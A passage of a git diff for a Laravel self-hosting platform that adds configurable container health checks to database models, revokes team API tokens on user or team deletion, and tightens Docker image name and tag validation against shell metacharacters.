App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -11,7 +12,7 @@ class StandaloneClickhouse extends BaseModel { - use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; + use ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ 'uuid', @@ -44,11 +45,21 @@ class StandaloneClickhouse extends BaseModel 'destination_type', 'destination_id', 'environment_id', + 'health_check_enabled', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'health_check_enabled' => 'boolean', + 'health_check_interval' => 'integer', + 'health_check_timeout' => 'integer', + 'health_check_retries' => 'integer', + 'health_check_start_period' => 'integer', 'clickhouse_admin_password' => 'encrypted', 'public_port_timeout' => 'integer', 'restart_count' => 'integer', @@ -111,6 +122,7 @@ protected function serverStatus(): Attribute public function isConfigurationChanged(bool $save = false) { $newConfigHash = $this->image.$this->ports_mappings; + $newConfigHash .= $this->healthCheckConfigurationHash(); $newConfigHash .= json_encode($this->environment_variables()->get('value')->sort()); $newConfigHash = md5($newConfigHash); $oldConfigHash = data_get($this, 'config_hash'); diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index e07053c03..2232ec772 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\ClearsGlobalSearchCache; +use App\Traits\HasDatabaseHealthCheck; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -11,7 +12,7 @@ class StandaloneDragonfly extends BaseModel { - use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; + use ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ 'uuid', @@ -43,11 +44,21 @@ class StandaloneDragonfly extends BaseModel 'destination_type', 'destination_id', 'environment_id', + 'health_check_enabled', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'health_check_enabled' => 'boolean', + 'health_check_interval' => 'integer', + 'health_check_timeout' => 'integer', + 'health_check_retries' => 'integer', + 'health_check_start_period' => 'integer', 'dragonfly_password' => 'encrypted', 'public_port_timeout' => 'integer', 'restart_count' => 'integer', @@ -110,6 +121,7 @@ protected function serverStatus(): Attribute public function isConfigurationChanged(bool $save = false) { $newConfigHash = $this->image.$this->ports_mappings; + $newConfigHash .= $this->healthCheckConfigurationHash(); $newConfigHash .= json_encode($this->environment_variables()->get('value')->sort()); $newConfigHash = md5($newConfigHash); $oldConfigHash = data_get($this, 'config_hash'); diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index 979f45a3d..b9f9f765b 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\ClearsGlobalSearchCache; +use App\Traits\HasDatabaseHealthCheck; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -11,7 +12,7 @@ class StandaloneKeydb extends BaseModel { - use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; + use ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ 'uuid', @@ -44,11 +45,21 @@ class StandaloneKeydb extends BaseModel 'destination_type', 'destination_id', 'environment_id', + 'health_check_enabled', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', ]; protected $appends = ['internal_db_url', 'external_db_url', 'server_status']; protected $casts = [ + 'health_check_enabled' => 'boolean', + 'health_check_interval' => 'integer', + 'health_check_timeout' => 'integer', + 'health_check_retries' => 'integer', + 'health_check_start_period' => 'integer', 'keydb_password' => 'encrypted', 'public_port_timeout' => 'integer', 'restart_count' => 'integer', @@ -111,6 +122,7 @@ protected function serverStatus(): Attribute public function isConfigurationChanged(bool $save = false) { $newConfigHash = $this->image.$this->ports_mappings.$this->keydb_conf; + $newConfigHash .= $this->healthCheckConfigurationHash(); $newConfigHash .= json_encode($this->environment_variables()->get('value')->sort()); $newConfigHash = md5($newConfigHash); $oldConfigHash = data_get($this, 'config_hash'); diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index dba8a52f5..cd94b6c9b 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\ClearsGlobalSearchCache; +use App\Traits\HasDatabaseHealthCheck; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -12,7 +13,7 @@ class StandaloneMariadb extends BaseModel { - use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; + use ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ 'uuid', @@ -47,11 +48,21 @@ class StandaloneMariadb extends BaseModel 'destination_type', 'destination_id', 'environment_id', + 'health_check_enabled', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'health_check_enabled' => 'boolean', + 'health_check_interval' => 'integer', + 'health_check_timeout' => 'integer', + 'health_check_retries' => 'integer', + 'health_check_start_period' => 'integer', 'mariadb_password' => 'encrypted', 'public_port_timeout' => 'integer', 'restart_count' => 'integer', @@ -114,6 +125,7 @@ protected function serverStatus(): Attribute public function isConfigurationChanged(bool $save = false) { $newConfigHash = $this->image.$this->ports_mappings.$this->mariadb_conf; + $newConfigHash .= $this->healthCheckConfigurationHash(); $newConfigHash .= json_encode($this->environment_variables()->get('value')->sort()); $newConfigHash = md5($newConfigHash); $oldConfigHash = data_get($this, 'config_hash'); diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index e72f4f1c6..7d2ffbd74 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\ClearsGlobalSearchCache; +use App\Traits\HasDatabaseHealthCheck; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -11,7 +12,7 @@ class StandaloneMongodb extends BaseModel { - use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; + use ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ 'uuid', @@ -47,11 +48,21 @@ class StandaloneMongodb extends BaseModel 'destination_type', 'destination_id', 'environment_id', + 'health_check_enabled', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'health_check_enabled' => 'boolean', + 'health_check_interval' => 'integer', + 'health_check_timeout' => 'integer', + 'health_check_retries' => 'integer', + 'health_check_start_period' => 'integer', 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', @@ -120,6 +131,7 @@ protected function serverStatus(): Attribute public function isConfigurationChanged(bool $save = false) { $newConfigHash = $this->image.$this->ports_mappings.$this->mongo_conf; + $newConfigHash .= $this->healthCheckConfigurationHash(); $newConfigHash .= json_encode($this->environment_variables()->get('value')->sort()); $newConfigHash = md5($newConfigHash); $oldConfigHash = data_get($this, 'config_hash'); diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 1c522d200..f752312d3 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\ClearsGlobalSearchCache; +use App\Traits\HasDatabaseHealthCheck; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -11,7 +12,7 @@ class StandaloneMysql extends BaseModel { - use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; + use ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ 'uuid', @@ -48,11 +49,21 @@ class StandaloneMysql extends BaseModel 'destination_type', 'destination_id', 'environment_id', + 'health_check_enabled', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'health_check_enabled' => 'boolean', + 'health_check_interval' => 'integer', + 'health_check_timeout' => 'integer', + 'health_check_retries' => 'integer', + 'health_check_start_period' => 'integer', 'mysql_password' => 'encrypted', 'mysql_root_password' => 'encrypted', 'public_port_timeout' => 'integer', @@ -116,6 +127,7 @@ protected function serverStatus(): Attribute public function isConfigurationChanged(bool $save = false) { $newConfigHash = $this->image.$this->ports_mappings.$this->mysql_conf; + $newConfigHash .= $this->healthCheckConfigurationHash(); $newConfigHash .= json_encode($this->environment_variables()->get('value')->sort()); $newConfigHash = md5($newConfigHash); $oldConfigHash = data_get($this, 'config_hash'); diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index 57dfe5988..04d2291b3 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\ClearsGlobalSearchCache; +use App\Traits\HasDatabaseHealthCheck; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -11,7 +12,7 @@ class StandalonePostgresql extends BaseModel { - use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; + use ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ 'uuid', @@ -50,11 +51,21 @@ class StandalonePostgresql extends BaseModel 'destination_type', 'destination_id', 'environment_id', + 'health_check_enabled', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'health_check_enabled' => 'boolean', + 'health_check_interval' => 'integer', + 'health_check_timeout' => 'integer', + 'health_check_retries' => 'integer', + 'health_check_start_period' => 'integer', 'init_scripts' => 'array', 'postgres_password' => 'encrypted', 'public_port_timeout' => 'integer', @@ -158,6 +169,7 @@ public function deleteVolumes() public function isConfigurationChanged(bool $save = false) { $newConfigHash = $this->image.$this->ports_mappings.$this->postgres_initdb_args.$this->postgres_host_auth_method; + $newConfigHash .= $this->healthCheckConfigurationHash(); $newConfigHash .= json_encode($this->environment_variables()->get('value')->sort()); $newConfigHash = md5($newConfigHash); $oldConfigHash = data_get($this, 'config_hash'); diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index ef42d7f18..efb0254fb 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Traits\ClearsGlobalSearchCache; +use App\Traits\HasDatabaseHealthCheck; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -11,7 +12,7 @@ class StandaloneRedis extends BaseModel { - use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; + use ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ 'uuid', @@ -43,11 +44,21 @@ class StandaloneRedis extends BaseModel 'destination_type', 'destination_id', 'environment_id', + 'health_check_enabled', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'health_check_enabled' => 'boolean', + 'health_check_interval' => 'integer', + 'health_check_timeout' => 'integer', + 'health_check_retries' => 'integer', + 'health_check_start_period' => 'integer', 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', @@ -115,6 +126,7 @@ protected function serverStatus(): Attribute public function isConfigurationChanged(bool $save = false) { $newConfigHash = $this->image.$this->ports_mappings.$this->redis_conf; + $newConfigHash .= $this->healthCheckConfigurationHash(); $newConfigHash .= json_encode($this->environment_variables()->get('value')->sort()); $newConfigHash = md5($newConfigHash); $oldConfigHash = data_get($this, 'config_hash'); diff --git a/app/Models/Team.php b/app/Models/Team.php index 0fbcfe0c6..f0a50cf69 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Actions\User\RevokeUserTeamTokens; use App\Events\ServerReachabilityChanged; use App\Notifications\Channels\SendsDiscord; use App\Notifications\Channels\SendsEmail; @@ -72,6 +73,8 @@ protected static function booted() }); static::deleting(function (Team $team) { + RevokeUserTeamTokens::forTeam($team->id); + foreach ($team->privateKeys as $key) { $key->delete(); } diff --git a/app/Models/User.php b/app/Models/User.php index cefdf3d3e..9cbe88835 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Actions\User\RevokeUserTeamTokens; use App\Jobs\UpdateStripeCustomerEmailJob; use App\Notifications\Channels\SendsEmail; use App\Notifications\TransactionalEmails\EmailChangeVerification; @@ -121,6 +122,8 @@ protected static function boot() static::deleting(function (User $user) { \DB::transaction(function () use ($user) { + RevokeUserTeamTokens::forUser($user); + $teams = $user->teams; foreach ($teams as $team) { $user_alone_in_team = $team->members->count() === 1; @@ -158,6 +161,7 @@ protected static function boot() if ($found_other_member_who_is_not_owner) { $found_other_member_who_is_not_owner->pivot->role = 'owner'; $found_other_member_who_is_not_owner->pivot->save(); + RevokeUserTeamTokens::forUserTeam($found_other_member_who_is_not_owner, $team->id); $team->members()->detach($user->id); } else { static::finalizeTeamDeletion($user, $team); diff --git a/app/Rules/DockerImageFormat.php b/app/Rules/DockerImageFormat.php index a6a78a76c..038cc2761 100644 --- a/app/Rules/DockerImageFormat.php +++ b/app/Rules/DockerImageFormat.php @@ -2,18 +2,26 @@ namespace App\Rules; +use App\Support\ValidationPatterns; use Closure; use Illuminate\Contracts\Validation\ValidationRule; +use Illuminate\Translation\PotentiallyTranslatedString; class DockerImageFormat implements ValidationRule { /** * Run the validation rule. * - * @param \Closure(string, ?string=): \Illuminate\Translation\PotentiallyTranslatedString $fail + * @param Closure(string, ?string=): PotentiallyTranslatedString $fail */ public function validate(string $attribute, mixed $value, Closure $fail): void { + if (! is_string($value)) { + $fail('The :attribute format is invalid. Use image:tag or image@sha256:hash format.'); + + return; + } + // Check if the value contains ":sha256:" or ":sha" which is incorrect format if (preg_match('/:sha256?:/i', $value)) { $fail('The :attribute must use @ before sha256 digest (e.g., image@sha256:hash, not image:sha256:hash).'); @@ -21,20 +29,21 @@ public function validate(string $attribute, mixed $value, Closure $fail): void return; } - // Valid formats: - // 1. image:tag (e.g., nginx:latest) - // 2. registry/image:tag (e.g., ghcr.io/user/app:v1.2.3) - // 3. image@sha256:hash (e.g., nginx@sha256:abc123...) - // 4. registry/image@sha256:hash - // 5. registry:port/image:tag (e.g., localhost:5000/app:latest) + $imageName = $value; + $tag = null; - $pattern = '/^ - (?:[a-z0-9]+(?:[._-][a-z0-9]+)*(?::[0-9]+)?\/)? # Optional registry with optional port - [a-z0-9]+(?:[._\/-][a-z0-9]+)* # Image name (required) - (?::[a-z0-9][a-z0-9._-]*|@sha256:[a-f0-9]{64})? # Optional :tag or @sha256:hash - $/ix'; + if (preg_match('/\A(.+)@sha256:([a-f0-9]{64})\z/i', $value, $matches) === 1) { + $imageName = $matches[1]; + } else { + $lastColon = strrpos($value, ':'); + $lastSlash = strrpos($value, '/'); + if ($lastColon !== false && ($lastSlash === false || $lastColon > $lastSlash)) { + $imageName = substr($value, 0, $lastColon); + $tag = substr($value, $lastColon + 1); + } + } - if (! preg_match($pattern, $value)) { + if (! ValidationPatterns::isValidDockerImageName($imageName) || ! ValidationPatterns::isValidDockerImageTag($tag)) { $fail('The :attribute format is invalid. Use image:tag or image@sha256:hash format.'); } } diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 07926e1cf..7e3974dd7 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -102,6 +102,23 @@ class ValidationPatterns */ public const DB_PASSWORD_PATTERN = '/^[A-Za-z0-9!@#%^*()_+\-=\[\]{}:,.?\/~]+$/'; + /** + * Pattern for Docker image repository names without a tag. + * + * Allows an optional registry host/port followed by lowercase repository + * path components. A trailing @sha256 marker is accepted for existing + * digest-based dockerimage records that store the digest hash separately. + */ + public const DOCKER_IMAGE_NAME_PATTERN = '/\A(?=.{1,255}\z)(?:(?:[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?(?::[0-9]+)?\/)?[a-z0-9]+(?:(?:[._]|__|-+)[a-z0-9]+)*(?:\/[a-z0-9]+(?:(?:[._]|__|-+)[a-z0-9]+)*)*)(?:@sha256)?\z/'; + + /** + * Pattern for Docker image tags. + * + * Docker tags may contain letters, digits, underscores, dots, and hyphens, + * must start with an alphanumeric/underscore, and are limited to 128 chars. + */ + public const DOCKER_IMAGE_TAG_PATTERN = '/\A[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}\z/'; + /** * Normalize environment variable keys before validation and storage. */ @@ -163,6 +180,81 @@ public static function validatedEnvironmentVariableKey(string $value, string $la return $key; } + /** + * Get validation rules for Docker image repository names without tags. + */ + public static function dockerImageNameRules(bool $required = false, int $maxLength = 255): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::DOCKER_IMAGE_NAME_PATTERN; + + return $rules; + } + + /** + * Get validation rules for Docker image tags. + */ + public static function dockerImageTagRules(bool $required = false, int $maxLength = 128): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::DOCKER_IMAGE_TAG_PATTERN; + + return $rules; + } + + /** + * Get validation messages for Docker image fields. + */ + public static function dockerImageMessages(string $nameField = 'docker_registry_image_name', string $tagField = 'docker_registry_image_tag'): array + { + return [ + "{$nameField}.regex" => 'The Docker registry image name must be a valid image repository without a tag and may not contain shell metacharacters.', + "{$tagField}.regex" => 'The Docker registry image tag must be a valid Docker tag and may not contain shell metacharacters.', + ]; + } + + /** + * Check if a string is a valid Docker image repository name without a tag. + */ + public static function isValidDockerImageName(?string $value): bool + { + if (blank($value)) { + return true; + } + + return preg_match(self::DOCKER_IMAGE_NAME_PATTERN, $value) === 1; + } + + /** + * Check if a string is a valid Docker image tag. + */ + public static function isValidDockerImageTag(?string $value): bool + { + if (blank($value)) { + return true; + } + + return preg_match(self::DOCKER_IMAGE_TAG_PATTERN, $value) === 1; + } + /** * Get validation rules for database identifier fields (username, database name). * diff --git a/app/Traits/DeletesUserSessions.php b/app/Traits/DeletesUserSessions.php index e9ec0d946..44ff5f727 100644 --- a/app/Traits/DeletesUserSessions.php +++ b/app/Traits/DeletesUserSessions.php @@ -2,6 +2,7 @@ namespace App\Traits; +use App\Actions\User\RevokeUserTeamTokens; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Session; @@ -17,6 +18,7 @@ public function deleteAllSessions(): void Session::invalidate(); Session::regenerateToken(); DB::table('sessions')->where('user_id', $this->id)->delete(); + RevokeUserTeamTokens::forUser($this->id); } /** diff --git a/app/Traits/HasDatabaseHealthCheck.php b/app/Traits/HasDatabaseHealthCheck.php new file mode 100644 index 000000000..62ca345ed --- /dev/null +++ b/app/Traits/HasDatabaseHealthCheck.php @@ -0,0 +1,45 @@ +health_check_enabled ?? true); + } + + /** + * Build the Docker Compose healthcheck block for the given probe command. + * + * @param array $test The Docker `test` array (e.g. ['CMD', 'pg_isready']). + * @return array + */ + public function healthCheckConfiguration(array $test): array + { + return [ + 'test' => $test, + 'interval' => ($this->health_check_interval ?? 15).'s', + 'timeout' => ($this->health_check_timeout ?? 5).'s', + 'retries' => $this->health_check_retries ?? 5, + 'start_period' => ($this->health_check_start_period ?? 5).'s', + ]; + } + + protected function healthCheckConfigurationHash(): string + { + return implode('|', [ + (int) ($this->health_check_enabled ?? true), + $this->health_check_interval ?? 15, + $this->health_check_timeout ?? 5, + $this->health_check_retries ?? 5, + $this->health_check_start_period ?? 5, + ]); + } +} diff --git a/app/Traits/HasDatabaseStatusInfo.php b/app/Traits/HasDatabaseStatusInfo.php new file mode 100644 index 000000000..e46cccf0c --- /dev/null +++ b/app/Traits/HasDatabaseStatusInfo.php @@ -0,0 +1,172 @@ + 'refresh']; + + $user = Auth::user(); + if (! $user) { + return $listeners; + } + + $listeners["echo-private:user.{$user->id},DatabaseStatusChanged"] = 'refresh'; + + $team = $user->currentTeam(); + if ($team) { + $listeners["echo-private:team.{$team->id},ServiceChecked"] = 'refresh'; + } + + return $listeners; + } + + public function mount(): void + { + $this->refresh(); + } + + public function refresh(): void + { + $this->database->refresh(); + $this->dbUrl = $this->database->internal_db_url; + $this->dbUrlPublic = $this->database->external_db_url; + if ($this->supportsSsl()) { + $this->enableSsl = (bool) $this->database->enable_ssl; + $this->certificateValidUntil = $this->database->sslCertificates()->first()?->valid_until; + $this->afterRefresh(); + } + } + + /** + * Hook for subclasses with extra status-derived properties (e.g. sslMode). + */ + protected function afterRefresh(): void {} + + public function instantSaveSSL(): void + { + try { + $this->authorize('update', $this->database); + $this->database->enable_ssl = $this->enableSsl; + $this->applyExtraSslAttributes(); + $this->database->save(); + $this->dispatch('success', 'SSL configuration updated.'); + } catch (Exception $e) { + handleError($e, $this); + } + } + + /** + * Hook for subclasses with additional SSL columns to persist (e.g. ssl_mode). + */ + protected function applyExtraSslAttributes(): void {} + + public function regenerateSslCertificate(): void + { + try { + $this->authorize('update', $this->database); + + $existingCert = $this->database->sslCertificates()->first(); + + if (! $existingCert) { + $this->dispatch('error', 'No existing SSL certificate found for this database.'); + + return; + } + + $server = $this->database->destination->server; + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); + + if (! $caCert) { + $server->generateCaCertificate(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + + SslHelper::generateSslCertificate( + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], + resourceType: $existingCert->resource_type, + resourceId: $existingCert->resource_id, + serverId: $existingCert->server_id, + caCert: $caCert->ssl_certificate, + caKey: $caCert->ssl_private_key, + configurationDir: $existingCert->configuration_dir, + mountPath: $existingCert->mount_path, + isPemKeyFileRequired: true, + ); + + $this->refresh(); + $this->dispatch('success', 'SSL certificates regenerated. Restart database to apply changes.'); + } catch (Exception $e) { + handleError($e, $this); + } + } + + public function render(): View + { + return view('livewire.project.database.status-info', [ + 'label' => $this->databaseLabel(), + 'supportsSsl' => $this->supportsSsl(), + 'sslModeOptions' => $this->sslModeOptions(), + 'sslModeHelper' => $this->sslModeHelper(), + 'showPublicUrlPlaceholder' => $this->showPublicUrlPlaceholder(), + 'isExited' => str($this->database->status)->contains('exited'), + ]); + } +} diff --git a/app/Traits/SshRetryable.php b/app/Traits/SshRetryable.php index 2092dc5f3..37303c7e6 100644 --- a/app/Traits/SshRetryable.php +++ b/app/Traits/SshRetryable.php @@ -40,6 +40,7 @@ protected function isRetryableSshError(string $errorOutput): bool 'Remote host closed connection', 'Authentication failed', 'Too many authentication failures', + 'SSH command failed with exit code: 255', ]; $lowerErrorOutput = strtolower($errorOutput); diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 8088e6b99..6a288a064 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -3,15 +3,23 @@ use App\Enums\BuildPackTypes; use App\Enums\RedirectTypes; use App\Enums\StaticImageTypes; +use App\Rules\ValidGitBranch; +use App\Support\ValidationPatterns; use Illuminate\Database\Eloquent\Collection; use Illuminate\Http\Request; use Illuminate\Validation\Rule; function getTeamIdFromToken() { - $token = auth()->user()->currentAccessToken(); + $user = auth()->user(); + $token = $user?->currentAccessToken(); + $teamId = data_get($token, 'team_id'); - return data_get($token, 'team_id'); + if (! $user || is_null($teamId) || ! $user->teams()->where('teams.id', $teamId)->exists()) { + return null; + } + + return $teamId; } function invalidTokenResponse() { @@ -83,7 +91,7 @@ function sharedDataApplications() { return [ 'git_repository' => 'string', - 'git_branch' => 'string', + 'git_branch' => ['string', new ValidGitBranch], 'build_pack' => Rule::enum(BuildPackTypes::class), 'is_static' => 'boolean', 'is_spa' => 'boolean', @@ -93,16 +101,16 @@ function sharedDataApplications() 'domains' => 'string|nullable', 'redirect' => Rule::enum(RedirectTypes::class), 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], - 'docker_registry_image_name' => 'string|nullable', - 'docker_registry_image_tag' => 'string|nullable', - 'install_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_registry_image_name' => ValidationPatterns::dockerImageNameRules(), + 'docker_registry_image_tag' => ValidationPatterns::dockerImageTagRules(), + 'install_command' => ValidationPatterns::shellSafeCommandRules(), + 'build_command' => ValidationPatterns::shellSafeCommandRules(), + 'start_command' => ValidationPatterns::shellSafeCommandRules(), 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', - 'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(), - 'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(), + 'base_directory' => ValidationPatterns::directoryPathRules(), + 'publish_directory' => ValidationPatterns::directoryPathRules(), 'health_check_enabled' => 'boolean', 'health_check_type' => 'string|in:http,cmd', 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], @@ -125,26 +133,26 @@ function sharedDataApplications() 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', 'custom_labels' => 'string|nullable', - 'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000), + 'custom_docker_run_options' => ValidationPatterns::shellSafeCommandRules(2000), // Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate"). // Access is gated by API token authentication. Commands run inside the app container, not the host. 'post_deployment_command' => 'string|nullable', - 'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), + 'post_deployment_command_container' => ValidationPatterns::containerNameRules(), 'pre_deployment_command' => 'string|nullable', - 'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), + 'pre_deployment_command_container' => ValidationPatterns::containerNameRules(), 'manual_webhook_secret_github' => 'string|nullable', 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(), - 'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(), - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'dockerfile_location' => ValidationPatterns::filePathRules(), + 'dockerfile_target_build' => ValidationPatterns::dockerTargetRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', - 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_start_command' => ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_build_command' => ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', - 'is_preserve_repository_enabled' => 'boolean' + 'is_preserve_repository_enabled' => 'boolean', ]; } diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index ed18dfe76..d443c84a4 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -110,6 +110,7 @@ function connectProxyToNetworks(Server $server) if ($server->isSwarm()) { $commands = $networks->map(function ($network) { $safe = escapeshellarg($network); + return [ "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --driver overlay --attachable {$safe} >/dev/null", "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", @@ -119,6 +120,7 @@ function connectProxyToNetworks(Server $server) } else { $commands = $networks->map(function ($network) { $safe = escapeshellarg($network); + return [ "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --attachable 